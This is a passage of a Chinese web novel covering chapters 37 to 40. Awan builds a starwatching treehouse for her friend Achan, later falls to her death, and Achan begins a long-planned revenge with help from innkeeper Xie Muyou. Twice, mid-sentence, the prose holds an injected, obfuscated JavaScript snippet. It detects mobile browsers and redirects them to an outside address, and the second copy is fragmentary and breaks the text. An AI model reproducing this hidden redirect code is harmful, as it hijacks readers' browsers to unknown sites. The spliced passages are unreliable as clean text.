她把雕刻好的一些小物件放在木匠师傅处寄卖,很快就能卖空,尤其是她把阿婵讲的一些山精鬼怪雕刻出来,竟然出乎意料地受桓安少年子弟的欢迎。 甚至木匠师傅还会催她继续赶制,说有世家子弟付了定金专门等定制好买回去摆在桌案上呢,这样读书都更有劲! 一传十,十传百,现在桓安书院里那些少年学子,都知道城里出了一个专门雕刻猎奇精怪木雕的师傅,生意十分火爆。 阿菀卖木雕几个月赚的钱,已经比她过去十几年家里给的月供还要多。 她开始隐隐相信阿婵说的话,自己是不是也真的可以有大作为,就像鲁班祖师爷那样,成为一个女鲁班。 她之前去庙中祈福,都是祈求神明可以让她的绣花技术好一些,好让她早日找到如意郎君。 但现在再去庙中祈福,她再也没有这些想法了。 她现在的愿望有两个,第一是希望阿婵可以长命百岁, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996642|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 成为天下第一坤道捉妖人和星占师。 第二就是,希望她自己可以成为女鲁班,木雕技术早日大成。 她甚至想开一间木雕铺子,这样就可以赚好多钱给阿婵,她自己也能从家中搬出来,不要再受气了。 虽然她觉得在家从父,出嫁从夫,天经地义,就算家人再对自己不好,但毕竟血浓于水,女子也无立身之本,是必须要靠家人的。 但是阿婵说,女子不和家人一起生活也可以独当一面。 刚开始她听到这话时,觉得很荒谬,但经过这段时间自己木雕赚钱之后,她觉得阿婵说的确实有道理。 以前这些想法,她连想都没有想过,但自从手里有靠木雕赚来的钱之后,她发现越来越多疯狂的、大逆不道的、不守女德的想法,一个接一个地从心里生根发芽,暗戳戳地、不受控制地往外冒。 于是她头一次大着胆子,在菩萨面前许愿:“菩萨保佑,我想要成为女鲁班。” 刚说完,就听见旁边前来祈福的女子噗嗤一声笑了。 她睁眼,见对方眼神中全是“你好像是疯了”的神情。 她脸红了,但是没有直接走,而是对那女子说:“你别不信,我可以的!” 说完,她转身一溜烟跑了。 身后传来女子和旁人说她脑筋不正常的对话。 她面红耳赤一溜小跑,心中又觉得不好意思,又不服气。 怎么了嘛,她就是要成为女鲁班。 阿婵可以,她也一定可以! 回去后,她拼命地学,拼命地刻,那些木头在她的刀下,好像和她有默契一般,不管她想雕刻成什么,总是刀随意动,很容易就能变成她想要的样子。 她也试过,把同样的方法用在绣花上,但是不成。阿婵也试过教她舞刀弄剑,也不成。 最后总结,她只有对着木头的时候才开窍。 阿菀愉快地接受了这个事实。 她的手常年雕木头,有很多老茧和伤痕,不好看,不如那些贵女肤如凝脂的纤纤玉手。 以前她很自卑,无论怎么用水泡,用皂角搓洗,都变不成“指如削葱根”。 但现在,她很骄傲,手指就是要粗,要有力量,才能灵活控刀,让雕刻刀想削出什么线条便削出什么线条,这双手,就是上天给她的恩赐。 她变得日渐开朗,有自信,整个人也比之前有精神多了。 她知道,这一切,都是认识阿婵之后才有的变化,她从心底里感激阿婵。 虽然阿婵面上总是一副很嫌弃她的样子,但她清楚得很,如果真的嫌弃,阿婵就不会一遍一遍给她指夜空那些星宿的位置,告诉她日月星辰的运行轨迹,给她讲在外捉妖的各种逸闻趣事,哪怕是讲鬼故事吓唬她。 因为以阿婵的性格,如果真的不喜欢她,根本就不屑于跟她讲话,甚至连正眼都不会瞧她一眼。 所以,阿菀总是在想,阿婵这么好,让她的人生变得这么有意思,每天醒来都有盼头,她要怎么感谢阿婵。 要送给阿婵一份大礼,好好谢谢她才行! 可是送什么好呢? 37. 惊喜 阿菀左思右想,觉得送什么都不合适。 木雕她已经送了很多,市面那些小娘子喜欢的衣服首饰,胭脂水粉,阿婵也几乎不用。 她整个人素面素衣就已经很好看很好看了,根本不需要那些花里胡哨的装饰,可是还能送什么呢? 总不能真的直接给钱吧,阿婵不会要的,虽然她嘴上总说最喜欢钱。 阿婵捉妖挣的钱经常被她到处散给穷苦百姓,总是一副很穷的样子,以前阿菀也真的被她骗到过,赶紧拿出自己积蓄要全部给她。 但阿婵却不屑要,因为她几乎散完财就能立马挣回来,而且出去挣一次钱,要比她卖几个月木雕挣得多得多。 送礼这个事情,困扰了阿菀很久,直到有一天,她俩坐在树上看“岁星合月”。 阿婵说自己已经看过很多次了,这次是专门带她去看的。 因为白天捉妖太累睡着了,阿婵差点从树上掉下去,那一刻,阿菀终于知道可以送什么了! 她每日更加勤奋地跟木匠师傅学习,几乎日夜不睡觉地钻研木工。 她努力强壮身体,问木匠师傅怎么才能变得力气更大,连吃饭都要多吃两碗,木匠师傅一度觉得她是不是中邪了。 就这样过了大半年,阿婵十五岁生辰这一天,阿菀早早就去树林里等着她回来。 阿婵这次去外地捉妖,离开了差不多三个月的时间,她就趁这三个月亲手制作了这个大礼,准备给阿婵一个惊喜。 阿菀自从母亲去世后,就没人给她过生辰了,她也不喜欢,因为总让她想起去世的阿娘。 但是,这世间应该没人不喜欢收礼物吧,她心中忐忑,生怕阿婵收到之后不开心。 夜幕落下,这一晚十分晴朗,漫天星辰,阿婵果然按照约定,风尘仆仆回来见她。她就知道,阿婵答应她的事,从不会失约。 她欢天喜地地拉着阿婵,跑到她们经常看星星的那片树林,将阿婵的眼睛捂上:“等一下……别偷看哦……往前走……” “你搞什么啊,故弄玄虚的……”阿婵皱着眉道。 “看,这是我亲手给你造的生辰礼物,喜不喜欢?” 阿菀放开手,阿婵睁开眼,只见她们经常爬上去看星星的那棵参天巨树上,竟然有一座凌空阁楼! 虽然大小不能与正常的木屋相比,却是那种粗犷又用心的微缩版,憨憨小小的,别有一种质朴的可爱,就像阿菀一样。 木屋门口正上方还挂着一块木雕牌匾,上书五个大字——绮月星寰阁。彩漆雕花,看得出极力想要搞得精致,但最后还是因为“木匠”本人的性格走向了粗砺狂.野。 木屋掩映在树叶枝条之间,袖珍隐蔽又安全稳妥。 阿婵看呆了。 她从不过生辰,因为父亲告诉她,她的生辰不吉利,所以才将她“藏”起来,所以别人过生辰都欢天喜地,只有她,不喜欢,甚至很回避。 就算在师门,也几乎没有人给她过生辰。 可是现在这一刻,阿婵脑袋懵懵的,呆呆的,心中有一种满溢的情绪正在炸开。 在她十几岁的人生中,产生这种情绪的时刻并不多。 为数不多的几次,她记得,是在她第一次成功控制自己所画的符箓,收伏一只小地妖的那一刻,还有得知自己有亲生父母的那一刻,再有,就是现在。 是快乐,是开心。 没有人告诉过她,原来过生辰竟可以这么快乐,这么开心! “怎么样,我这两年跟师傅学造木屋,但头一次自己独自造,还有点生疏,你别介意,不过很是稳固,不会散架,也不会掉下去,这个我可以打包票!” 阿菀一边紧张地看着阿婵的反应,一边解释道,“这回你就可以放心地在树上看星星睡觉了!快上去看看!” 阿菀催促她爬上树屋,阿婵简直一刻都不舍得眨眼。 树屋内的墙壁上,悬挂着一副巨大的星宿图,以及一幅巨型地图,上面画着阿婵在各地捉过的妖怪,不过指甲盖大小,粗犷的线条笔法,艳丽大胆的敷色赋彩,有一种原始的生动。 除了狼妖,阿菀根本没有见过其他的那些妖怪,甚至没有出过桓安,只听她的描述就能把地图画到八.九分相似。 “你……也太厉害了吧!”阿婵瞠目结舌。 虽然算算年龄,阿菀比她还要大上两岁,但她瘦瘦小小,比阿婵矮上半头,看着比阿婵更加稚嫩。 这样小小的兔子一样的姑娘,竟然独自爬上爬下造了一座木屋! 阿婵再向树屋内的木架子上看去,老天爷,这都是什么啊! 目光所及,都是她曾经给阿菀描述的各种精怪的木雕,仿佛从墙上的地图里的四面八方直接跑到了木架上。 阿婵在画画上着实没有天赋,所以都是阿菀照着她的口述,将精怪画在纸上再雕刻。 阿菀以前雕刻的精怪虽然传神,但还看得出有些粗糙潦草,可仅仅过了半年多而已,她的木雕技艺竟如此突飞猛进。 她的雕刻风格古朴野拙,自成一派,没有匠气,跟市面上所有的木雕都不一样,甚至比那些她捉妖时去过的达官贵人家的木雕还要灵动逼真! 她忍不住将木雕拿起来,想看看到底是不是妖怪变成雕塑,联合阿菀在一起戏耍她。 这是什么天才! 而阿菀的家人竟然认为她写不出娟秀的小楷,画不出精致的工笔,不会做女红就是废物,拿不出手,嫁不出去,真是有眼无珠! “嘿嘿,喜欢吗?”阿菀眼睛亮亮的,只有在这个时候,她会显得特别特别骄傲,一点都不自卑怯懦。 阿婵已经不记得当时自己是什么反应了,好像太过震惊,以至于说不出话。 但她内心知道,完蛋了,这个狗皮膏药她一辈子也甩不掉了,可好像就这么黏着她……感觉也挺不错的…… 不枉她骑马狂奔几百里地,连饭都不顾上吃,就为了赶回来遵守和她这日见面的约定。 她从随身背囊中掏出一个会发光的喜欢恶作剧的小妖怪,是出门捉妖的时候随手捉到,本来没什么用要放走,但想到阿菀,觉得带给她见见世面也好。 看到阿菀面对真正的妖怪一脸震惊欣喜的样子,阿婵也不自觉弯了唇角。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005850|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那时她才明白,比起看到阿菀对她一脸崇拜钦佩的样子,她更想看到这个小兔子似的容易惊慌容易自卑的女孩子,发自内心的开心笑容。 从此,这个树屋成了她们两个的秘密据点。 阿婵用奇门遁甲术在这棵树周围设置了屏障,寻常的人和精怪妖鬼,都无法随意进入,只有她们俩知道破解之法,可以如入无人之地。 阿菀尤其喜欢这里,每次来到树屋,在家中时刻紧绷的神经就能全部放松下来。 开心的时候,不开心的时候,两个人都会躺在这里看星星,聊心事,直到星辰消失在天际,两个人倒头呼呼大睡。 但也就在这里,十年前的一个夜晚所发生的事情,让阿婵再也没有办法回到这里。 从此,这间树屋,便封存在记忆之中,她再也不敢踏足。 十六岁那年,阿婵在外游历结束,师傅苍衍道长让她回到炁云洞里闭关修炼,因此她有一年的时间没能和阿菀见面,但是她跟阿菀说,可以给她写信,等她出关了,就能看到。 一年后,她独自出关,看了阿菀给她的所有来信。 她们没有见面的这一年,真的发生了很多事情。 阿菀遇到了心上人,是个非常俊俏的书生,叫虞屹安。 开始只是买她的木雕,后来师傅引见,她和虞屹安见面,成了知己好友,过了不久,虞屹安竟然上家中提亲。 这是阿菀想也不敢想的事情,所有人都说她嫁不出去,说得多了,连她自己也这么认为。 自己既没有让人一见钟情的美貌,也没有名门贵女的风仪,甚至连小楷和女红都练不好,也不会说漂亮话,虞屹安为什么会钟情于她呢? 但他根本不在乎这些,说小楷绣花他见得多了,但像她这种可以化朽木为神奇的女子才是天下罕见,总之,就是认定她了。 而且,自从虞屹安去家中提亲之后,连父亲和家人对她的态度都好了很多。 后来阿菀才知道,这个好似纨绔一有空就往木雕铺子跑的虞屹安,竟然读书非常厉害,厉害到中了那一年的当朝状元郎。 状元郎有多受青睐她怎会不知,自揭榜之后数不清的媒人会踏破他的门槛,但虞屹安说只钟情她一人,这让阿菀觉得一切都像做梦。 虞屹安求娶阿菀,显然也让庄氏家族感到意外和震惊。 媒人上门的时候,庄氏主母问了好几遍,到底是不是搞错了,是不是虞屹安求娶的是庄菡或者其他庄氏女儿,而不是庄菀。 直到媒人再三确认,庄氏主母才不情不愿地告诉庄父。 但那可是状元郎啊,不管娶的是哪个女儿,谁会拒绝一个状元郎当女婿呢,尤其是庄父这种爱面子的,更是觉得被天上的馅饼砸中了。 从此之后,阿菀在娘家的境遇连带着好了很多,她觉得,虞屹安是她的福星。 “阿婵,你知道吗?虞屹安,是你之外的第二个,我还想要再见一面、再见两面、再见三面的人。” 阿婵读着阿菀在信中写下的这些文字,楷书还是她一贯的风格,粗砺野拙,但字字句句都恨不能把心剖开来给你看。 38. 复仇 阿婵翻阅信件,阿菀的字里行间都洋溢着甜蜜和幸福。 她跟阿婵讲,婚后虞屹安对她百般体贴,每日下朝之后只要没有公务,便哪里也不去,就只陪着她。 圣人御赐的府邸,每一砖一瓦,都是他俩亲自设计、命人布置的。 头一次,阿菀感受到自己有了真正的家,一个可以自在随心的家,一个自己说了算,不用畏畏缩缩、受尽冷眼的家。 晚上饿了,庖厨里随时可以起灶热饭;觉得家中哪里布置得不合自己心意,可以随时更改变化,直到满意为止。 这些在娘家的时候,是她想也不敢想的。 不仅如此,虞屹安还会给她搜罗很多珍贵的木料,让她练习木雕。甚至有一些是外国使臣进贡的海外香木,圣人御赐给虞屹安,他拿回来给她。 那个香木,她连听都没有听过,去问木匠师傅时,才知道,这个香木千金难求,而虞屹安跟她说,她可以随便刻着玩。 她觉得太过奢侈,根本不敢用,普通木料也一样用。但虞屹安会对她说,她的这双手,值得天底下最好的木料。 她想学着寻常娘子一样,裁剪衣服、洗手作羹汤,可真的没有天赋,每次都搞得一团糟,还差点烧了厨房,生怕虞屹安不高兴。 但虞屹安每次只是温柔地帮她收拾残局,还说她的手生来就是做木雕的,不仅不用她做衣下厨、不用她服侍更衣,甚至虞屹安还会亲自下厨给她作羹汤。 她问虞屹安为什么要对她这么好。 虞屹安说,他出身寒门,为了出人头地拼命读书,吃了很多苦头,也放弃了很多爱好。原本他也喜欢画画木雕,但家里实在穷,没有那个闲情逸致让他学。 因此在桓安准备考科举的时日,闲暇时出来放风,看到阿菀的木雕,灵气四溢,一下子就唤起了他内心年少的那个自己。 阿菀每出新作,他必用自己在书院考课第一的奖赏钱来买,不知不觉,便摆了一屋子。 后来虞屹安这个大客户跟木雕师傅混熟了,聊天得知做木雕的竟然是个姑娘,就更加心生仰慕之情。 及至跟她见了面,聊了很多,才知道她虽然出身高官之家,但因为是庶女,受了很多苦,一个人挨到今天很不容易。 更难得的是,她的天赋和灵气都没有消失,这很珍贵,因此虞屹安想要保护她,也是弥补一下自己年少为了生计读书,放弃画画的遗憾。 阿菀真的觉得,虞屹安懂她,和阿婵一样,都是她此生最重要的人。 阿婵看着这些文字,耳边回想起阿菀送给她树屋惊喜的那一晚,拉着她说: “阿婵,你知道吗,我从小不喜欢和人打交道,因为人人都欺负我,我不知道和人交往有什么好的。但是遇见阿婵你和夫君之后,一切都不一样了。 自从遇见你们,我常常希望,我们还能有第二次、第三次、第四次见面……那时候我才知道,原来人和人之间相处,血缘之亲不一定亲,但素昧平生,也可以比亲人还亲。” 看起来,这个虞屹安,真的让阿菀感到很幸福。 阿婵笑着换了一封信,继续往后读。 阿菀说,因为虞屹安对她好,娘家人也不敢随便给她使脸色,就连一直明里暗里欺负她的长姐,都对她好了很多。父亲也开始对她和颜悦色。 她不敢相信,自己能够遇到如此之好的夫君,但这一切好像真的发生了。 不久,阿菀有了自己的孩子。 她一直满心欢喜期待孩子的出生,希望阿婵到时候能够做孩子的义母,阿婵懂玄学,到时候要给孩子起个有福气的名字。 阿婵由衷替她高兴,回信给她,说自己已经出关,很快就会回桓安去看她,让她安心养胎,不要再去树屋爬上爬下,在家里好好等着她。 连同信件一起寄给阿菀的,还有护身符和安胎养胎药,是她特意从师傅那里求来的上好的药。 只是,除了阿菀的信,她还收到了一封来自父亲的信,阿婵不敢相信自己的眼睛。 那是用密语写成的信。 阿婵年幼的时候,总和父亲玩文字游戏,两人发明了一种密语,只有他们父女二人知道破解规则。 阿婵破解之后,大吃一惊。 信中,父亲说他预感到不久后自己会出事,全家可能受牵累,会被流放到荔南万韶一带。具体的细节,信中不便说,但占星卦辞如此,不得不防,事出紧急,让阿婵尽快做好准备。 如果应验,阿婵要赶紧暗中去救家人,切忌要“藏好”,别暴露。 而后,阿婵经历了人生中最暗无天日的一段时光。 大桓妖患四起,生灵涂炭,圣人竟说是父亲操纵妖蛊所害,要将其处斩。全家流放万韶。 父亲所占卦辞,一语成谶。 阿婵只能按照父亲的嘱托,一路打探,赶到荔南万韶救家人,发现母亲、兄弟姐妹、祖父祖母全部被埋山间,但她仔细观察地势和天象,她觉得,那根本不是意外。 她回桓安,想要去刑场救无辜的父亲,可没想到,自己力量太弱,冲不破刑场的风水大阵,只能眼睁睁看着父亲被斩首。 她缓了好几天,东躲西藏,从父亲被抛.尸的乱葬岗好不容易摆脱了绣衣察事司的搜查,这才想起来,她还答应了阿菀,要去看她。 可是,今时不同往日,她要查清父母家人被害的真相,就要把自己“藏好”,她没办法正大光明地去见阿菀。 阿婵决定,偷偷看完阿菀就走。 算算日子,阿菀此时应该刚刚生产完没多久,不能让她知道自己的处境,不然她一定会非常担心,没有办法好好恢复身体。 深夜,她悄悄潜入虞府,很快便找到了阿菀的住处,那是一座三层小楼,雕梁画栋,十分显眼,非常好找。 因为这就是信中阿菀跟她所说,他们夫妻二人婚后亲自设计建造的小楼,特意在楼顶做了一处观星平台。 阿菀说,她没有告诉虞屹安,这个观星平台就是专门为了阿婵以后造访特意设计的。 可没等阿婵上前,她便看到,楼顶有一白衣女子脚步飘忽,晃了几晃,忽然从楼顶失足下坠,“嘭”地一声坠落在地,血慢慢铺了一地。 那个女子,面容痛苦,嘴角却噙着一丝笑容。在周围奴仆大呼小叫的求救声中,渐 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刚刚才做了母亲的她,有什么非要跳楼的原因!她嘴角噙着笑容又是为何?她想不通! 阿婵靠着墙壁,银霜似的月光投进窗棂,分外清冷。她看了许久,直看得眼中心中都白茫茫一片,似乎天地之间又只剩下她一人。 良久,刑场强行突破风水阵伤到的双臂剧烈疼痛,阿婵回过神来,手指动了动,意外地,摸到了地毯下面的一张纸。 她捡起来,发现是阿菀很久之前写给她的一封信,大概是阿菀嫌自己的字不好看练习打的草稿,写完不小心掉在地毯下面被掩盖住了。 她看到纸上,阿菀那野拙的字迹写着: “阿婵,你到底什么时候回来,我真的真的好想你啊……” 瞬间,阿婵的心像被无数把利剑狠狠刺穿,她再也控制不住,失声痛哭。 *** 回忆惨烈,俯仰流年已十春。 逝去的人终究已经逝去,该还的,也必须得还。 阿婵席地坐在绮月星寰阁之中,还是当年她和阿菀一起观星谈心的位置。 眼前是一个沙盘,放在矮矮的木雕几案之上。 沙盘之上,写着一个又一个名字,从右至左整齐排开,晁元肇、阮云薇、楼映真……。 “阿菀啊,刚认识你的时候,我还夸下海口,说自己的目标是做天下第一坤道捉妖人和女星占师呢。”阿婵嘴角露出一丝自嘲的笑容。 现在想想,多么可笑。 只局限在女中第一,如何足够? 这十年中,她慢慢调查父母家人和阿菀的死亡真相,才发现,自己还是太幼稚,复仇比她想象的要难得多。 她的复仇,不是街头火拼,谁拳头硬谁就能赢,她要面对的仇人,竟然如此之多,背后的利益竟然如此错综复杂,稍有不慎,就万劫不复。 横在她面前的就两个选择: 要么站至山巅,要么死。 而且是,所有人都得死。 她没有退路。 39. 你不着急,我比你更急啊。 素月分辉,月光沿着阿菀精心计算过角度开出的木窗,洒在地上,一片惨白。 阿婵抬头望去。 算算时间,焰炁饕妖的涎水应该已经起了药效,那人这两天就该找上门了。 十年前,她在这里对月发誓,要查清真相,要复仇。 十年后,明月依旧在。 够久了,此行只能成功,十年光阴方不白费。 *** 又是一.夜未眠,通宵达旦,但阿婵丝毫没有睡意。 五更天城门一开,阿婵便进入了桓安城郭。 城门处车水马龙,来往的行商小贩络绎不绝,从各地带来繁华热闹,唤醒沉睡中的桓安。 阿婵站在一座富丽堂皇的四层酒楼前。 牌匾上金光闪闪的三个大字——“蓬莱春”映入眼帘。 蓬莱春是整个大桓规模最大的酒楼兼客栈,各个州府都有分布。 而桓安的蓬莱春,是全国所有蓬莱春酒楼客栈中,最大最豪华的一座,一天十二个时辰,一年三百六十多个日夜,从不打烊。 能够做到这样的酒楼客栈,全大桓仅此一家。 阿菀拿出一只木蝉,交给门口的伙计,随后进入蓬莱春。 *** 日上三竿,街市上终于喧闹起来。 一辆马车停在了蓬莱春门前。 婢女下车,扶着一位身姿绰约,头戴帷帽的女子下了马车。 “娘子,小心。” 蓬莱春的伙计引着主仆二人进入一间雅间,阿婵早已等在里面。 “劳烦闻寰居士久等了。”婢女侍奉女子摘下帷帽,露出一张芙蓉面,眼含秋水,肤色白皙,只是左眼下方有淡淡的一块印记,惹人注意。 阿婵的视线停留在她眼下的印记上,“不必客气,我也是刚到桓安。看起来,楼娘子的药已经起了效果。” 楼娘子伸手抚摸眼下印记:“居士的药果然有奇效,才不过七日而已,胎记已经淡了许多。” 阿婵从随身背囊中取出一个小罐,交给楼映真:“这里是后半个疗程的药,一定要按时涂抹,五日之后,胎记便可完全消失。” 楼娘子点头记住,叫婢女取出一叠银票:“这是我的一点心意,不成敬意。” 阿婵诧异:“不是已经付过诊金了?” 楼娘子道:“居士为我四处奔波寻药,这点辛苦费是应得的,况且此药见效如此之快,我之前还着急来着,生怕药物起效慢耽误我的事情,如今看来,是我小人之心了。 这药膏真如居士所说,每日胎记预计淡褪到什么程度,就是什么程度,竟分毫不差。如今我也不是那么着急了。” “有效便好。”阿婵淡笑道,没有过多推拒,便将银票收下。 二人又客套一番,阿婵微笑目送楼娘子告辞离开。 门关上的一刹那,阿婵面上的笑容消失殆尽。 怎么可以不着急呢? 你不着急,我比你更急啊,楼映真。 *** 阿婵冷脸起身,从酒楼的雅间回到自己所住的房间——蓬莱春兼开客栈,穿过中堂往后院去便是客人下榻之处。 将房门反锁好,阿婵掀开被衾,床板上露出一处暗格,打开暗格,里面有个环柄,她向外轻轻一拉,房间的墙壁上悄无声息地出现了一道暗门。 她闪身钻进暗门,顺着暗道七拐八拐,便到了一处暗室,虽然没有窗,但布置还是和酒店正常的雅间一样,价值不菲的案几椅凳齐具。 她挪动桌上的一盏灯,那灯下有一道滑轨,是个机关。 不多时,便有一人从另一侧的暗门中走进来,脚步十分轻快,人未至,声先到,声音清亮: “哎呦,我们的大忙人可算是有空见我了!” 阿婵侧过头,看着来人,面上终于浮现了一丝笑容。 她将刚才从楼映真处收到的银票,外加自己从霍彦先处拿到的未兑换的一部分银票,全部塞给来人:“这是今年的费用,收着吧。” “什么呀,咱俩这么久没见,你好不容易回桓安,来了就提钱,真没劲!” 说话的这位女子,一身火红裙衫,跟阿婵年纪相仿,气质雍容大气如盛放的牡丹。 “这不是怕钱没续上,你没有动力给我好好搞么?”阿婵打趣道。 “我差那点钱嘛!再说了,要不是你救了我,钱再多有什么用,不过都是坟前烧的纸而已,我哪还有命花?别说给你养几十个观星小僮,哪怕是再多十倍,我也养得起!”女子嗔怪道。 “好好好,知道我们谢慕游谢老板最能赚钱了,现在蓬莱春从里到外就写‘财大气粗’四个字!别说请人,就是我请不动的鬼怪,我们谢老板都能请来推磨。” 谢慕游骄傲扬头:“那是自然,哎,瞧你这心思都飘到观星台去了,走吧。” 阿婵笑着给了她一个“这还差不多”的眼神,随谢慕游一道从暗室的特制木梯,登上了整座蓬莱春的最高层。 这是一个阁楼,四壁装有从西域重金购来的琉璃窗,整个大桓都十分罕见。 阁楼内还有星宿图,各种测量工具,外有檐廊,可以观星,阁楼最顶上,还有日晷,便于测量日影长度。 这是谢慕游特意给阿婵设置的观星阁,全桓安最适合观星的地点,除了皇城司辰局的观星台,便要数这里的位置最好。 而像这样的观星台,全国各地,从南到北,从东到西,谢慕游为阿婵设置了同样规模配置的二十八座。 每一座观星台,配有一座专门观测星象的六合仪,和至少两个观星小僮,专司天相观测记录。 保证无论大桓哪一地有雨雪天象,其他地点都可以晴天观测到星辰天相,并记录在案。 每月汇总成册,通过全国各地谢慕游专门设立的信息传递机构秘密寄给阿婵查阅,快捷又安全。 阿婵经常忙于捉妖,但依旧不会错过每一次天象观测的信息,全靠谢慕游在背后支持她。 而提起谢慕游,人们只知道她是大桓最大的酒楼兼客栈蓬莱春的老板。 一介女流,区区五年,便将一个快要破产的酒楼扭亏为盈,改头换面,不仅成了全桓安最豪华最贵的酒楼兼客栈,甚至在各地后来建立的蓬莱春分号,也能跟当地势力最大的酒楼客栈分庭抗礼。 整个酒楼客栈行业都视其为异类,十分惧怕。 但他们更该害怕的,其实是谢慕游的另一重身份——大桓民间最大的信息传递机构‘锦书阁’的阁主。 显赫家族的明争暗斗,各大商业巨头的行业秘辛,武林门派的纷纷扰扰,都需要信息,只要 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谢慕游不由分说拉着阿婵就回了她自己的房间,顺便让小僮把观星记录簿也给送了过去。 阁楼之下的一层,有十个房间,是谢慕游专用的楼层,只用来招待她名单上最重要的客人。平时别说客人,就是酒楼内部的洒扫小厮,都要经过批准才可以上来。 尤其她让阿婵进入的这一间雅间,更是她私人所用,从不对外,除了阿婵,别人别想进来。 阿婵坐在雅间,看着谢慕游忙忙叨叨给她面前的桌上摆满了时下桓安最流行的吃食,胡饼、蟹黄毕罗、冷淘、鲤鱼羹、酥山、泡儿油糕,还有一盘李环饧。 她随手拿起一颗李环饧塞进嘴里,香甜的牛乳味道充盈舌尖。 这是她最喜欢的糖果,十年前,阿娘每次去看她,都不会忘记给她带一包,只是如今吃来,总是暗含一种苦涩。 “怎么回事,我们蓬莱春的招牌菜都不能让你动筷子么!是不是得重新研发菜品了!” 谢慕游看见满桌子菜阿婵几乎不动,只一味吃糖,皱起了眉头,拿起筷子就给阿婵布菜。 阿婵压下谢慕游往她碗中布菜的手,一边自己夹菜,一边催促:“好了好了,我吃我吃,你快说,最近桓安有什么奇诡之事?” 谢慕游无奈:“我真服了你,咱俩先吃口饭、把酒言欢一下能死?到时候你出师未捷身先死,我找谁喝酒去啊!” 阿婵显然已经习惯了谢慕游的口没遮拦,丝毫不生气,筷子夹起一口鱼肉大快朵颐,以迅雷不及掩耳之势将二人的杯子倒上酒,塞进谢慕游手里,举杯、碰杯,一口干了:“吃了喝了,快说!” 谢慕游被这敷衍的态度惊呆了,但也没再藏着掖着,没好气道: “桓安城邑周围的村子里,发生了好几起孕妇流产的怪事。 流产很常见,但奇怪的是,这些孕妇的家人还有她们看过的郎中都说,孕妇的体质没有问题,脉象也正常,按理说绝对是可以正常生产的,但都在妊娠五个月左右,毫无征兆地流产了,非常奇怪,而且他们说……” “说什么?”阿婵问。 “在流产前一晚,这些孕妇在半梦半醒之间,都听到了凄厉的风声,风把窗棂吹开,一股黑气钻进来,第二天便流产了……” 40. 断指 “黑气?”阿婵闻言皱眉,又想起仙昙村袭击邢娘子的那股煞气。 谢慕游点点头,“很多人说是夜里着了凉气,但现在是夏天,能凉到哪里去?而且这些孕妇家中门窗睡前都关得好好的,所以大家都说,是妖怪作祟,专抢腹中之子,补精气。 虽然目前只在桓安附近的村落出现过,但你知道的,这种奇诡之事总是传播很快,现在整个桓安家有孕妇的全都人心惶惶,生怕哪一天妖鬼就找上自己了。”谢慕游道。 “官府没有介入调查吗?” “查了,没查出什么来,现在也只能当做是孕妇晚上中了虚邪贼风,让大家把窗户关得严实一点。这帮官差,惯会偷奸耍滑,敷衍了事,一点用都没有。” 阿婵心中暗忖,“月晕围胃,妊妇多灾”,可这天相指示的地点,不该在仙昙村,也不该在桓安,到底是怎么回事? “哦对了,阮云薇那毒妇,竟然还要七日之后去寺庙上香,召集了一.大帮贵女命妇,说是为了桓安的孕妇和胎儿祈求平安。她,为别人祈福,你说可不可笑!”谢慕游说着,一脸讥讽。 “更好笑的是,煜王也要陪着她去,可把她给气死了。” “晁元肇也要陪她去?”阿婵诧异,“他什么时候对阮云薇这么好了?” “不是对她好,是晁元肇从荔南府回来,在圣人面前天花乱坠地吹嘘了一番自己的功劳,这不老头挺高兴,给了他很多封赏,绣花草包王爷的名头暂时摘掉了,他不得赶紧找机会继续巩固一下自己爱民如子的形象啊。” 谢慕游说得口干舌.燥,阿婵将杯中酒给她满上。 “我就说,这两人多年无子,貌合神离,什么时候也开始如胶似漆了。”阿婵语气嘲讽。 “阮云薇日防夜防,就怕晁元肇在外面拈花惹草,结果没想到,这次去寺庙自己找了这么多贵女一同前去,晁元肇万一要是相中了哪个,那她真是搬起石头砸自己的脚。”谢慕游一副等着看好戏的语气。 阿婵摩挲着酒杯,“不过,他们二人要是一起去寺庙,倒是省得我再给楼映真找别的机会偶遇晁元肇了。” “就是说啊,这机会多好,你一定得助楼映真一臂之力。”谢慕游一脸兴奋,“诶,你不是刚见过楼映真么,怎么样,她脸上的胎记都去掉了吗?” 阿婵点点头,“焰炁饕妖的涎水确实管用,要不是我太忙,没时间每天找香火鼎盛之地喂它,真该多弄点出来卖卖钱。” “怎么,你又缺钱了?缺钱从我这儿拿啊,别整天穷酸兮兮的,连个衣服都舍不得买。” 谢慕游打量着一身素衣的阿婵,恨铁不成钢,“可惜了你这么好的皮囊,就应该多穿好看的裙子!” “低调、低调,现在还不是时候。”阿婵摆摆手。 谢慕游想起什么,严肃地点点头,打消了给她搬来一整个衣橱的念头。 “也是,那你还是穿破一点吧,毕竟你要是太好看,就晁元肇那个风.流性子,眼里哪还看得到楼映真啊,确实容易耽误事。” “所以他们去寺庙的路线你搞到了没有?”阿婵问。 谢慕游眉一扬,拿出一张纸条:“那是自然。” 虽然煜王夫妇此行安保甚严,但他俩都是招摇的性子,恨不得全桓安的人都知道他们爱民如子,所以时间地点非但没有刻意隐瞒,煜王妃还特意带上一群贵女命妇一起去上香,搞得声势浩大。 谢慕游几乎没有费周章,轻易便打探到了。 阿婵在心中盘算,再过五日楼映真便能用焰炁饕妖的涎水,将脸上的胎记尽数去掉,“这两天她有没有给锦书阁写信问这个事?” 